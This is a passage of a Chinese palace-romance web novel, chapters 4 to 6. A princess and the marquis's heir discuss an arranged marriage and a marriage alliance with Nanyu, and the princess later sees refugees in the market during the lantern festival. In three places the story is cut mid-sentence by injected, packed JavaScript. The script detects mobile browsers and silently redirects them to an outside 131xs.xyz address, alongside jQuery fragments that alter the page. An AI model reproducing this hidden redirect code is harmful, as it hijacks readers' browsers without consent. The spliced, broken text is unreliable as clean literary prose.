魏珉正静静坐在角落,明朗的阳光从窗棂漏下,洒在他深邃的眉眼间,长眉入鬓,眼角微微上翘,堂堂魏侯世子,样貌当然是极好的,如芝兰玉树,看上去疏冷矜贵。 “你心虚什么?嘉宁说的不错。”魏珉站起来,将庄钧写的课业放在书案上,再看他刚写的这一篇,“我看你这两篇策论写的牛头不对马嘴,连十三皇子都不如。关于如何治理水患,前人已经有不少经验,花些时间多看多学,不至于写得如此糊涂。我给你挑几本书,你先看完。” “多谢表兄!”庄钧闻言大喜,就算魏珉此刻将他骂的狗血淋头,他也欣然接受。 这两篇作业马上要交给陛下查看,他正急得就差铤而走险找人代笔。 庄钧看四姐姐进来后,和表兄两个人虽没说上话,眉眼也没碰触,但气氛如此,自己的存在好似有些多余。 他识趣道:“我要去温书,劳烦四姐姐招待一下珉表兄。” 魏珉写下一连串书名,落笔有筋骨,挺拔秀丽,顿时将旁边的字迹比了下去,“把你那些心思从账本里收起来,课业不可荒废,还需向先生们多请教,若是先生们没空解惑,也可递信给我。” “表兄放心,只需这次,下次我一定用工温书,不给表兄找麻烦。”庄钧十三四岁,正是天下第一我第二的年纪,连太子都不怕,唯独见到这个表兄时,如同老鼠见到猫儿,他只想先过眼前这关,才不想跟着严肃古板的魏珉读书,抽了纸便走,“表兄你有空管教四姐姐吧,我走了。” 4. 第 4 章 “九弟琴棋书画样样精通,骑射上也是行家,唯独在读书这一门,不像你我二人的弟弟。” 庄惟月丝毫没觉得这话将自己也夸了进去,转向魏珉,先是双眼一碰,将人打量清楚,才娇声同他打招呼:“世子哥哥总算来了,我还以为你已经把我们的约定全抛到脑后。” 魏珉穿一件缥色团窠雀鸟纹圆领襕袍,腰束玉带,脚踩长靴,是帝京城里正经王孙公子的打扮,然他气质卓然压过打扮,看来沉稳如孤山松,岸边柳。 他转眸凝视着她,平静地说:“没有。” 那道注视着庄惟月的目光,亦平静如春天的湖面。 庄惟月早就挪开眼睛,在殿中好奇地四处看看,看到庄钧留在书案上的一本书,还拿起来翻看。 昭庆殿是众皇子读书时的休憩之所,光照偏少,环境阴冷,偶尔才有人来歇一歇。 今日皇子休学,往来的内监很少,还没来得及布置火盆。 魏珉看她冷得搓手,提议道:“不如去外面走走。” 庄惟月放下书,不忘点评,“这书写的怪没意思,不如昨夜看的志怪故事,里头写了一只会变老虎的山鬼呢。” 魏珉抬手掀开竹片编成的布帘子,跟在她后头说:“听说近来南地兴起一种画本子,我已着人去买,随着侯府采买的船进京,改日便能送进宫中。” 庄惟月最爱新鲜,帝京里时兴的玩意,她都想买来试试,从前是濯玉托出宫采买的女官帮忙。自认识魏珉,这任务渐渐转到了他身上。 魏侯世子常给她搜罗些宫中不常见的东西,不管是神仙话本,还是时兴妆面,总能第一时间送到永安宫中,因而他对时下流行什么比府中的小娘子还要了解。 跟着魏珉走出昭庆殿,两人渐渐并肩而行,走到一处湖边。 水波微漾,湖面清晰映照出两个身影。矮个子的小娘子走路不急不缓,兴致勃勃地同身边的郎君说话,而高个子的郎君则放慢了步子,耐心地听小娘子说话。 庄惟月想起来问他:“世子哥哥今日为何入宫?母妃留下魏侯夫人说话,神神秘秘的,还要故意支开我。” 魏珉并未回复她的问题,只是询问:“我的呢?” 庄惟月疑惑地嗯了一声,转了好几下,才明白魏珉问的是什么。 “本是你教我用来打发时间的,还需要找我要么。” 魏珉面无表情地拂开柔软柳枝,“庄钧都有,我没有?” “好好好,我这就折给你。”庄惟月被逗得噗嗤一声笑出来,扭头吩咐身后的从夏去找些合适的草叶来。 湖边有座四方亭,正对着荷塘花,是用来夏天赏莲观鸟的,可惜这时节只能看到残荷枯枝。幸而塘边种着一排桃树,树枝嶙峋,造型怪异,枝头吐露点点粉色,可怜可爱。 亭中四面布置了厚厚的布帘子,角落摆着烧得旺旺的火炉,比昭庆殿里暖和许多。 庄惟月步入亭中坐下,专心给魏珉折大螳螂。 从夏原本守着铜炉煮茶,魏珉摆摆手,亲自守在炉边,等茶香盈满整座小亭,取来两只粉青小杯,斟茶时姿态风雅,堪称世家典范。 茶煮好,草螳螂也编好。 碧绿色的螳螂惟妙惟肖,庄惟月放在他掌心,得意地说:“比钧王弟的大,世子哥哥可满意了?” 魏珉先验过货,点点头,将东西放入怀中。 “辛苦公主,清用茶吧。” 庄惟月抿了一口清冽带苦的茶,润润嗓子,“听说南余使团不日进京,父皇点了世子哥哥为副官?” 魏珉捏着茶杯,语气平淡,似完全不看重这件事,“父帅已经带兵前往南境,和南余对峙阵前,太子负责和谈,我只需要在南余使团前露个面。” 庄惟月:“那传闻中的和亲之事,也是真的了?” 魏珉沉默片刻。 庄惟月从他的沉默中得知答案,“大姐姐早已成亲,二姐姐孀居府中,剩下适龄的公主中,加上我,一共四人。我们姐妹之间,虽然偶尔斗气,但也没想过要让谁去国离家,遭此劫难。” 她一时杂念骤起,知道母妃会全力助她,又有魏侯作为倚靠。但凡南余不想重启战火,就绝不会选她和亲。 可庄惟月还是觉得悲哀,有谁会真心将休战系于和亲公主肩上。 诺大都城,国与国的斗争,这时偏要送一个女儿去死。 “以后不会了。”魏珉望着她微红的眼眶,“再不会了。” 庄惟月茫然,又想起不知道是哪位姐妹要嫁去南余受苦,心中不觉戚戚然。 魏珉盯着杯中淡褐色的茶水,倒映出他平静如雪的面容,以后他绝不会送他们的女儿和亲,枉死他乡,不会再让大梁受此屈辱。 那瞬间,他身上爆发的气势不像是个二十岁的年轻人。 庄惟月觉得不太对劲,眨眨眼,眼前人又变成那个熟悉的,冷淡自持的世子哥哥。 上次和他见面,还是年前的除夕夜,皇帝大宴群臣,魏珉跟着父母进宫来。 庄惟月嫌喝酒没意思,拉着庄朔和魏珉溜到宫墙上放孔明灯,星河一斗,不及冬风凛冽,那晚后庄朔和魏珉双双受寒发热,不得不在家中休息了半旬才好,批了三件披风的她倒是活蹦乱跳的,拉着庄钧出宫去看他,庄钧在房里端茶倒水服侍兄长,她坐在魏珉的书房里看完一本戏本子。 气得魏珉将她打发回宫。 过了个年,短短数月,他肩上好似多了些沉重的东西。 就像岸边的垂柳,身姿依然挺拔,可身下不知不觉多出许多攀援而上的藤蔓,宫人未及时打理,于是那些藤蔓越发遮天蔽日,将柳树死死缠住。 庄惟月不知是好是坏,也不知道魏珉此刻在想些什么,她碰碰他的手,“放心吧,世子哥哥,若是你日后出征打仗,我就在旁边替你推演沙盘。” “不。”魏珉为她续上茶水,看过来的目光中含着一点说不清的深意,“公主尽管高坐帝京城中,安等捷报。” 没多久,贵妃和魏侯夫人寻了过来。 魏侯夫人看向魏珉,透过帘间缝隙,目光在他和庄惟月几乎相交的衣角上定住,缓缓道:“珉儿,我们该出宫了。” 庄惟月立刻扯扯魏珉的衣袖,小声提醒他别忘记今天的目的,两人前后脚出了湖边亭。 贵妃察觉到他们俩的小动作,立刻笑着问:“你们俩在本宫面前还打什么哑谜呢?” 魏珉先躬身行礼,“贵妃娘娘,过两日城中便是彩灯节,臣想请嘉宁出宫游玩。” 大梁民风开放,小娘子和小郎君之间往来并无太多顾忌。从前庄惟月出宫游玩,魏珉常伴左右,可惜这两年她年岁渐长,容貌更盛,贵妃担心有歹人作祟,极少放她出宫。这次她在宫中实在呆的无聊,才想起来找魏珉帮忙。 贵妃蹙眉,往常要是魏珉开口,顾念着侯府在京中势力,只要事情不出格,她很少拒绝,可这回她没轻易松口:“最近帝京城中出入人员繁杂,听说外边不太安稳,你这时出宫,本宫不放心。” “世子哥哥会保护好我的。” 庄惟月眼巴巴地看着贵妃,又转向魏珉,像是寻求他的认同,“对吧?” 魏珉知道今天贵妃为何召他进宫,她担心夜长梦多,嘉宁被送走,看魏侯夫人在旁边静立不语的样子,婚事应该已成定局。 他低眉垂目,许下承诺:“请贵妃娘娘放心,臣定尽心竭力保护公主,不敢让惟月有一丝一毫的损伤。” 庄惟月抱着贵妃娘娘的手臂撒娇,就差蹭到她身上了,“母妃,就许我这一次。” 十六七岁的美貌小娘子和二十来岁出头的俊俏郎君站在一起,实在登对。 贵妃视线从他们二人身上掠过,她眼看着魏珉长大,两个聪明人视线对错一瞬,仿佛达成某种默认。 “在宫里闷了两个月,出去玩玩散散心也可以。”贵妃拍拍庄惟月的背,终于点头同意,“魏珉,本宫将女儿暂且托付给你一日,你可要好生照顾她。” 魏珉平静道:“臣必定全须全尾地将公主送回宫中。” 庄惟月遂了心意,笑得眉眼弯弯,末了,再三叮嘱魏珉:“世子哥哥,一定要来接我呀,你要是不来,我会很生气的。” 魏珉捡走落在她头发上的碎叶,极为克制地收回手指,“无论风雪,魏珉必至。” 他幽若深潭的眸中仿佛也积蓄着一场无人能见的暴雪。 嘉宁只当他是兄长,还不知道,他们马上就要成亲了,他会成为她的驸马,而她会成为他的世子夫人。 眼看日头渐渐下落,魏珉跟着魏侯夫人出宫去了。 庄惟月回到长春宫,陪着母妃用完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715893|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚膳,才在她的催促下回了永安宫。 夜色阑珊,傍晚飘了场小雪,金黄色的瓦檐覆上点点冰霜,整个帝京城仿佛又沉没到漫长的冬夜中。 长春宫中灯火大亮,柔和的烛火照彻贵妃娘娘不喜不怒的慈悲面,如一尊冷冰冰的玉雕像,她倚靠在美人榻上,正闭目养神。 所有宫女脚步轻缓,行动间不敢大声呼吸,以免惊扰贵妃。 芳杏看贵妃娘娘手扶着额头,像是不太舒服的样子,蹑手蹑脚走过去给她捏捏肩膀,小心翼翼地问:“娘娘最近睡不好,不如奴去请太医来给娘娘诊一诊平安脉?” “你今日去寻太医,明日就有人会借此掀起风浪,这后宫不知多少双眼睛盯着本宫,盼着本宫倒下去,好来分杯羹。”贵妃揉揉额头,一身成年累月积攒的疲倦静静浮了上来,“宫中多事,从年前忙到现在,许是累到了。你将月亮亲手做的安神香薰拿来。” 芳杏将香囊挂在床榻上,又拿了一包来系在贵妃腰间。 沉静的合欢花香味萦绕周身。 她看娘娘神色缓了些,低声道:“奴多嘴问一句,娘娘为何着急送贵主出嫁,是因为南余王子进京吗?” 贵妃十分心疼这个女儿,去年年底还同芳杏私底下说,想将嘉宁公主留在身边再待两年,不知为何突然改变主意。 只那瞬间,贵妃像是流露出一丝软弱,很快又收起,“南余人进京,和亲是板上钉钉的事情,他们又没说要求娶哪位公主。我母族势弱,就算后宫默认出身最差的顺嫔,她的父亲如今也是礼部侍郎,能替她们母女筹谋。本宫就这一个女儿,自然要做好万全准备。” 芳杏安抚:“皇帝不会指四公主和亲的。他最疼爱贵主了。” 贵妃冷哼一声:“陛下……” 鬓边牡丹怦然掉落在榻,芳杏捡起来,放在凭几上。 牡丹要历经风霜,春化后开得更艳。贵妃就如这朵由盛转衰的花朵,眼波流转间练练华光,依稀是二十年前让陛下一眼荡魂的美貌。 美人虽然迟暮,依然有万种风情。 “君心难测,天恩是最难琢磨的东西。本宫生下月亮后,就不敢作此奢望。” 芳杏姑姑低声劝慰,“前些日子陛下特意给贵主赏了个园子,在众兄弟姐妹中,咱们家贵主独一份的宠爱,其他人都没有。” 贵妃抚着牡丹花蕊,唇角含着讥讽,稍一用力,手指尖染上粉色花汁:“那是因为群臣上奏,要给几位皇子请封王爵,他想起来远在西南,代父守陵的庄朔。不想太早给庄朔封王,赏赐又不可越过太子,补偿到月亮身上罢了。” 其他宫女都站在角落里,被黑暗所淹没,全当自己是个耳听不见眼见不到的木头桩子,诺大的的宫殿,仿佛只剩下两人。 芳杏知道贵妃娘娘的忧虑,也知道贵妃娘娘这些年是如此在宫中艰难立身,绝不像她在庄惟月面前表现出来的慈母形象。 她沉默片刻,捡了些好听的话说:“八皇子虽不是您所出,但从小养在您跟前,奉您如同亲母,同公主也很要好,日后是您和公主的依靠。” 贵妃摇摇头,眉头轻蹙,“我只盼望他和月亮姐弟两人能互相扶持,若是月亮被人欺负,他能挺身相助,也不算本宫枉费心血,教导他这么些年。” 掌事姑姑捏着贵妃肩膀,轻声劝慰,“四公主向来乖巧懂事,娘娘实在不必如此忧心。” 贵妃终于抿出一丝浅淡笑意:“她就是面上顺我心意,实则浑身反骨,不然昨夜怎会偷偷喝酒,还让你瞒着本宫。” 掌事姑姑就知道瞒不住她,听贵妃娘娘的语气没生气,手上的动作没停:“这不是怕您罚她,我看贵主已经知道错了。咱们家贵主的性格,您还不了解,她只是一直好奇,并非刻意放纵。再说等贵主出嫁,还有世子在呢,魏世子性情好,人品好,对贵主全心全意的,必定是个好夫婿。” “魏珉……” 贵妃念叨着魏世子的名字。 芳杏等着娘娘后面的话,却见她突然沉默下来。她以为贵妃打盹睡着,刚准备拿件毯子来,却看到贵妃只是望着一处,眼神深邃而悠远,不知道想到了什么。 贵妃挪了挪身子,突然想起一件事,淡淡说:“你叫个人去传话,请顺嫔抄百卷清静经来祝陛下圣寿,若她忙不过来,就让庄惟心替母尽孝。” 5. 第 5 章 一辆低调的青篷马车骨碌碌地碾过青石地砖,从角楼而出,渐渐驶离宫门。 这天是三月十五,帝京城里一年一度的彩灯节。 且因为本朝开国帝后便是于这日正式登临帝京、改朝换代的缘故,皇城的彩灯节向来办的颇为隆重热闹,金吾不禁,灯火彻夜不息。 没过多久,青篷马车中有人将帘子掀开一角,悄悄地往车窗外望。 车内布置得暖烘烘,热气熏得人脸颊泛红。濯玉感受到幽幽冷风从车窗灌入,还是不放心,又往正坐在窗边的人手里塞了个手炉。 “贵主,外面冷,小心着凉。” “好濯玉,幸好今日带了你出宫。” 庄惟月扭回头同濯玉说话,她幼时曾落水受寒,生了场大病,在榻上缠绵一两个月,贵妃为此震怒,那段时间永安宫中人人自危,无数珍贵汤药流水般灌下去,才将人救了回来,但到底留下些体虚的小毛病,冬天格外怕冷。今日为了出宫游玩,从夏等人将她裹得严严实实,只露出一双清凌凌的眼睛。 此刻这双眼睛便望着濯玉,波光似含秋水,让人说不出半句违逆她的话。 濯玉却叹了口气,今早她就是被公主的眼神看得心软,糊里糊涂答应带着庄惟月出宫,现在想起来只觉得忐忑难安,“没带从夏姐姐出来,她发现以后一定是急疯了,回宫后免不了被她一通训。要是传到娘娘耳中,到时候还请贵主看在今日奴冒死带着贵主私自出宫的份上,帮奴说说话,让行刑的宫人们下手轻些。” “母妃今日要忙着打理宫宴,无暇顾及我这边,再说从夏比你机敏,准能帮忙遮掩过去,她不会知道的。” “从夏姐姐向来是刀子嘴豆腐心,但愿不会连累到姐姐。” “小丫头操心忒多,有我在,谁敢欺负永安宫的人。” 庄惟月开解完濯玉,抱着手炉继续转眼四望。 马车缓缓转了个弯,离开宽阔的朱雀大道,沿着坊间道路,往西市而去。 驾车的人是刚到永安宫伺候的花奴春莲,她自告奋勇,愿为公主驾车。濯玉原担心她人小托大,在贵主面前闯祸,没想到春莲控马的技艺十分娴熟,濯玉和庄惟月两人坐在车内,几乎没怎么感受到磕碰。 恰逢黄昏时分,落日熔金,暮云合璧,在天边铺开的晚霞衬托下,伫立的皇城显得沉静静谧,金黄的飞檐上偶然闪过一丝流光,有种肃穆的庄重感。 也只有在无人注意到的地方,庄惟月无悲无喜的眼神才能看破万物般,静静注视着周遭的一切。 她澄澈的目光好似穿透过高大的宫墙,落在远处极高极大的蓬莱宫中。 从除夕夜开始,蓬莱宫中日日欢饮达旦,灯火通明,今日更不例外。皇帝此刻定是在宫中打着庆祝大梁国祚绵长的名义举办宴会,殿中觥筹交错,歌舞不休。 母妃素来不爱凑这等热闹,每年都是象征性露个面便领着她早早离开,将场面留给那些摩拳擦掌想一承皇恩的野心家们。 庄惟月厌倦宫中虚以委蛇的那一套,年年如此,并没有什么新鲜事,觉得远不如在宫外游街来的热闹有意思,这才求了贵妃出宫。 西市渐近,她耳中已经能清楚地听到嘈杂的叫卖声。 不论是坊间街巷,还是墙角屋檐,各种造型的花灯随处可见,连河中的画舫游船上都挂满了彩灯,火光在水中闪烁,与千里洒下的溶溶月光交织成一片灯海。 飘荡的灯河环绕过帝京城,河面上映照出此刻整座城的繁华景象,明暗光影,星月满斗。 庄惟月看得目不转睛,只觉得处处都充满新奇,唇角挂着从容的笑意,看远处那座巨大的鳌山灯楼,也看街巷间拿着花灯跑来跑去的小童们。 濯玉比庄惟月还小上两三岁,性子本就比从夏活泼,不似在宫中那般拘束,好奇地凑过来问:“贵主在看什么?” 她的目光把上下左右转了一圈,“这些花灯样式宫中都有,贵主要是喜欢,奴让工匠们做一批送过来就是了。” 庄惟月神情淡淡,像是被风吹皱的湖面,泛起一点涟漪,“过节无非是要在此时此刻应个景,不然就算在永安宫里挂个百八十盏花灯,那又有什么意思。” 濯玉哦了一声,眼神微亮:“虽然前年和去年都没能出宫,但幸好世子送来了好几盏灯,贵主觉得可还算有意思?” 同魏珉的婚事板上钉钉,不过两日,庄惟月已经听了不少这样的话,大多是冲着贵妃和魏珉身后的侯府而来,无论是否真心,她都如数接过,只是面上少了些要做新嫁娘的羞怯。 外人只当她与魏珉青梅竹马,早已做好打算。 却不知她的心意究竟如何,谁也探不出来。 庄惟月伸手点点濯玉的额头:“好啊,你这狭促的丫头,什么时候也学会打趣本公主了,看来以后我要让从夏好好整肃宫纪。” 濯玉自然听得出来她没有生气,只捂着嘴笑,看着贵主的神态,一时出了神。 每回出宫,庄惟月总念念不舍,濯玉心中十分不解,宫中吃穿用度样样精细,贵主想要什么,甚至不用说话,只需一个眼神,总会有人将东西恭恭敬敬地奉到她掌心。宫外不过是一时热闹,就如看惯了金枝玉叶,偶尔低头看看杂花野草的野趣味,哪里比得上宫中呢。 想着想着,这些话不知不觉就问出了口。 庄惟月知道她有此一问,另起话头:“我的公主府早已建好,母妃知道我好热闹,特意将宅邸挑在平阳坊,靠近东市,明年开过春就可以去公主府后面的芙蓉池踏青游玩,想什么去便什么时候去。你的从夏姐姐替我去看过,她满意得很,已定下一处小院,你想不想要?” 濯玉眼睛亮起来,“奴也可以吗……” 庄惟月挑眉微笑,与濯玉对视:“当然,依律公主府中可以有两位掌事女官。等我出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715894|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宫,便为你请封女官。怎么样,下次还想不想跟着我出来玩了?” “奴愿为贵主赴汤蹈火,以后这种事,就算是天上下刀子,奴也在所不辞。” 庄惟月笑了笑,还是个好糊弄的小丫头呢。她扒着车窗,心思已经不知道飞到哪里。 在哪里都是笼中鸟,当然是在自己的公主府中比较自由。魏侯只魏珉这么一个儿子,日后他必是要接掌父亲兵权,驻守边疆的。若他始终如一,她会随他征战四方;若他流露本性,无端多起情来,她便留在帝京,学她那位曾名动天下的表姑姑,在府中豢养十来个幕僚,弹琴唱曲也无不可。 想到此处,庄惟月脑中仿佛将未发生的事情通通过了一遍,自觉种种选择都比眼下要好,唇角带出笑意。 濯玉走马观花般看了圈,突然伸出手指来,在某处点了点,“贵主,您看廊柱上挂着的那盏荷花灯,像不像世子去年送进宫的那盏。” 庄惟月认真看了两眼,“样子是像,细看粗糙许多,远不如魏珉送来的。” 濯玉目光飘过去又飘回来,语气忽然心虚起来:“贵主,不等世子来接便出宫,他知道以后不会生气吧。” 永安宫中向来是从夏主外,执掌人员调度,她主内,管理宫内杂务。 魏珉进宫时,一般是从夏随侍贵主左右。从夏人虽不大她们几岁,天生却是个蚌壳性子,嘴巴紧得很,从不在姐妹们前面提起贵主和世子在一起时的细节,因而她其实对这位闻名帝京的世子脾性了解多来自于传闻之间,只知他性端肃,好音律,目前在朝中领了个朝议郎的虚职。 庄惟月想了想,不慌不忙地说:“不会的,世子哥哥是一等一的好脾气。” 剩下的话,庄惟月不好和濯玉说。 宫中兄弟姐妹之情都很淡薄,唯有庄朔几人能真心记挂她一二,至于其他人,态度不冷不淡,以庄惟心为代表,维持个表面和平罢了。 只有在魏珉这里,他板起脸来管教她时,正儿八经地像个兄长。 魏珉到宫门没接到人,见了她特意留下给他传话的小内监,一定会追过来的。他这人虽然极少动怒,平日里冷静从容,但自有世家子弟的傲气在,此番没提前和他打招呼,将他折腾来折腾去,少不了要花心思好好哄一哄人。 庄惟月心中正酝酿着应对之法,目光忽然被团白色的东西吸引住。 一只毛茸茸的白色狸奴轻盈地翻过屋檐,落在墙上,然后它舔舔爪子,在原地转了个圈,朝着庄惟月这边长长地喵了一声。 狸奴通身雪白,没有一丝杂色,毛发如雪,四足踩在瓦檐上,柔软的尾巴轻轻甩来甩去,动作轻盈,姿态矜贵骄傲。它很快就被旁边客店招牌旁挂着的灯所吸引,伸出毛绒绒的前爪来拨弄垂下来的花灯穗子。 更漂亮的是它亮晶晶的圆眼睛,灯下仿佛闪着绿幽幽的光。 好一幅雪团戏灯图! 6. 第 6 章 庄惟月见之心喜,立刻叫春莲停下马车。 濯玉凑过来看,发出同样的感叹:“好漂亮的小猫。” 小猫玩完丢下花灯,居高临下地望着巷子里四五个正在为吃食打闹的小童,望风似的,在墙壁上来回徘徊,时不时喵一声。 随着小童之间的战况越发激烈,它突然从壁上跃下,冲年龄最大的小童喵喵两声,那小童仿佛听懂了什么,立刻抱紧怀中面饼,将两人与他拉拉扯扯的人奋力推开,拉着另一个在旁边伸着两只小手帮忙却使不上力,看模样只有四五岁的女童离开。 狸奴再度跃上墙壁,领路般飞快带着两人消失在街巷之间。 庄惟月连连道:“濯玉,你快去找找那只白色狸奴,要是有主就算了,没主的话,就想办法将它抱回来。” 濯玉得令而去,过了差不过一炷香时间,她突然哭丧着脸跑回来,隐隐带着一丝惊惶,爬上马车时尚有忍不住的哭腔,语声颤颤:“贵主,跟丢了,没找到刚才的小童们和狸奴。那里面聚集着好些流民,没人管的地方,乱糟糟的,奴不敢再往里面去找了。” “不该让你去的。”庄惟月仔细打量她上下左右,“人没受伤吧?” 方才濯玉刚走进去,庄惟月就瞧见两拨人试图从里面冲出来,她还没看清楚领头的人长什么模样,那些人就立刻被街巷间突然冒出来的巡街使们围住带走。巡逻的卫兵手中俱拿着寒光凛凛的刀,态度强横,又不似在捉拿犯人,只是为了将人赶走,她才察觉出不对。 仔细回想,那些小童们分明衣衫褴褛,不是寻常玩闹,应当是争夺口粮才对。她立时反应过来,让春莲拿了宫中令牌,请附近的卫兵们去里面寻找濯玉。 春莲机警,将马车停到街对角,趁机和旁边的小商贩们打听到好多消息回来。 庄惟月这才从他们口中知道事情缘由。 每逢年节,帝京城许多殷实人家总有在城门口布施的习惯。贵妃也不能免俗,年年在西市立两个粥棚,不止施粥,也给附近的人家分些猪羊肉之类的荤物,意表自己虽身居高位,亦不忘出身。 只需花费少许钱财便能搏个好名声,往年大家都这么干,没出什么岔子。可今年南方流民纷纷北上,更是趁着施粥混进帝京城内,守城的人拿了钱不愿多事,睁一只眼闭一只眼,只装没看见。 等各处府衙发觉城中流民数量异常增多的时候已经控制不住,不得已上报到京兆府。为了欢度佳节,京兆府尹派人清剿过几次,不过这些流民就像习惯黑暗的老鼠,藏得深,赶不尽,加上坊市街巷之间互相勾连,里面幽微曲折,不知多少人藏在里面,等官军一走,立刻春风吹又生。 负责维持帝京治安的京兆府不想因此事惊动皇帝,只能加派人手防护东西两市,确保彩灯节这日不出大乱子。 哪晓得运气这么寸,正好被庄惟月撞到。 “没有,不过奴差点被人围住,为了脱身把金叶子都丢了下去,只留下这几片。”濯玉摊开手,怯怯地给庄惟月展示仅剩的三枚金叶子,“猫没找到,还把钱都弄丢了,贵主罚奴吧。” 庄惟月曾听母妃提起过近来流民进城的事情,她没想到已到如此地步,那帝京城外又是乱到什么程度。 “无碍,你能平安回来已经是万幸了,狸奴我自会托巡街吏们顺带着找找看,至于其他,都是小事。” 庄惟月握住濯玉的手,发觉她正在浑身发抖,想来是吓得不轻,正为难着,突然看见路边有小童拿着糖葫芦走过,想起来濯玉也是这个年纪便进了宫,被她一眼挑中,自此留在永安宫中。 她让春莲去买来两根糖葫芦,一根让她自己吃,另一根给了濯玉。 濯玉很不好意思地接过来,笑了笑,“今日反倒要让贵主来哄奴了。” “好不容易得我们小濯玉一笑,这糖葫芦买的值。”庄惟月将手炉递给濯玉,温和的目光对着她,“濯玉,我好像从未听你提起过你的父母家人。也从未听你提起为何进宫。” 濯玉将恐惧同糖葫芦一起嚼碎吃掉,甜味让她逐渐平静下来,“奴刚到帝京时,和贵主看到的那些小童一样,甚至还不如他们,起码有个栖身之处。在宫中过了几年舒服日子,竟也害怕起那些奴曾混迹其中的流民了。” “我想知道,好濯玉,同我说说吧。” 濯玉手指攥紧了暖炉,声音低下来:“算起来,是十多年前的事情了。那年奴不过四岁,整月里都在下雨,阿父阿母担心雨水泡烂刚长出来的庄稼,天天冒着到小腿深的积水,跟着县衙组织的青壮年们去推高河坝。可是天灾地变哪能控制,洪水最终还是决了堤。” “我们只能眼睁睁看着家被冲没,阿父阿母在离乡途中不幸染上疫病,幼弟也随他们而去,家中只剩下奴和妹妹两人。我们两姐妹跟着叔父北上,实在活不起了,就被人牙子带走,卖到了帝京城。有的流落青楼乐坊,有的被卖入府中充当奴婢,更有些被买去当做童养媳。奴因缘巧合之下,能进宫自幼跟随贵主,已经是天大的福分。” 按理说,年岁太小会记不清楚小时候的事情,但濯玉年年总能做到那样的梦。 比天还高的洪水喷涌而来,顷刻之间淹没屋舍,随之而来的是无数大人小孩的尖叫声和哭喊声,以及口鼻被洪水灌入的窒息感。 自此她没有了家,与妹妹跟着人群浑浑噩噩地走,不知去向何处,路上能吃一顿掺了土的麦饼子,且还要藏着掖着,随时担心被人抢走。 每每从梦中醒来时,四周沉寂一片,听到姐妹们的睡觉打呼声,让她知道,她仍身处永安宫中,不用再过上饥三顿吃一顿的日子。 庄惟月在心中计算一番,若有所思:“是了,以你的年纪算,你进宫应当是仁和十二年的事情。那年两淮水患,南方累计七个州府受灾,死伤不计其数。后来又因为地方官员贪污赈灾粮款,导致民怨激愤。火龙教勾结前朝余孽,乘势而起,竟直接拿下了蕲州、益春两城,朝廷花费了一番大力气,才将这帮人镇压下来。” 庄惟月讲故事时的声音如珠碰玉,濯玉听得入了迷。 直到庄惟月问起自己的妹妹,濯玉才重新提起茶壶,缓缓注入茶水,打起精神说:“贵主说的全对,奴正是那年入得宫中。后来攒了些积蓄,托人去打听被一起卖到帝京的妹妹,听说她的主家犯了事,被外放云州,后来举家搬迁,府中奴仆尽数离开,再也没有音讯。” 庄惟月端着茶,细细思索。 仁和十二年着实发生了许多事情。 南方天灾连着人祸,北方异族又起纷争。魏侯先带着大军北上,将蛮戎赶出原本属于大梁的辽阔疆域,那是他继承爵位后取得的第一场大胜。民心振奋,仁和帝亦是大喜,给魏侯加封爵位,封赏万金,在开平坊中赐下豪宅一座,又下诏令,命他带着一大家子人回帝京领赏,顺道留在帝京过年。 那年深秋,宫中宫外都因为这场胜仗而喜气洋洋的,庄惟月却听说母妃要将八皇子抱到膝下养育。她好奇之下,打算偷偷去见那个刚失去母亲,就被几方人马争抢的小孩。 新鲜出炉的弟弟没见到,反在宫门外就被芳杏姑姑拦住,在母妃那里狠狠告了她一状。 庄惟月独自赌气离开,却在太液池边,初见同家人走散的魏珉。 那是她和魏珉第一次正式见面。 后来魏侯征战四方,魏珉随侯夫人留在帝京,入了国子监读书。贵妃时常请魏侯夫人和魏珉进宫游玩,庄惟月便和这位大哥哥渐渐亲近起来。 回忆被濯玉打断。 想起那几个瘦骨嶙峋的小孩,她难免感同身受,“贵主,奴听他们的口音,和益春老家的有些相像,益春据此千里,要不是在家里实在活不下去,他们何至于千里迢迢北上,背井离乡的求生活。” 庄惟月了解的消息比她多一些,颔首时语气低缓,眼眸半阖,仿佛是不知在向何处的神佛祝祷的姿态,“去年南地水灾,听说比仁和十二年的那场还要大。百姓还没恢复过来又连着雪灾,江水冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715895|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,草木不生,连口野草都吃不上,不知道多少人流离失所,但愿父皇能早日派人处置,安顿流民。” 只是,从前所知所想都来自于纸面,寥寥几行简报,便是数十万人的生死,直到今夜庄惟月才亲眼得见一角废墟,已然是触目心惊。 濯玉:“闹得这么大,陛下肯定已然知晓,说不定过些日子,就有处置的好消息传来。” 庄惟月垂目想,濯玉太乐观也太天真了。 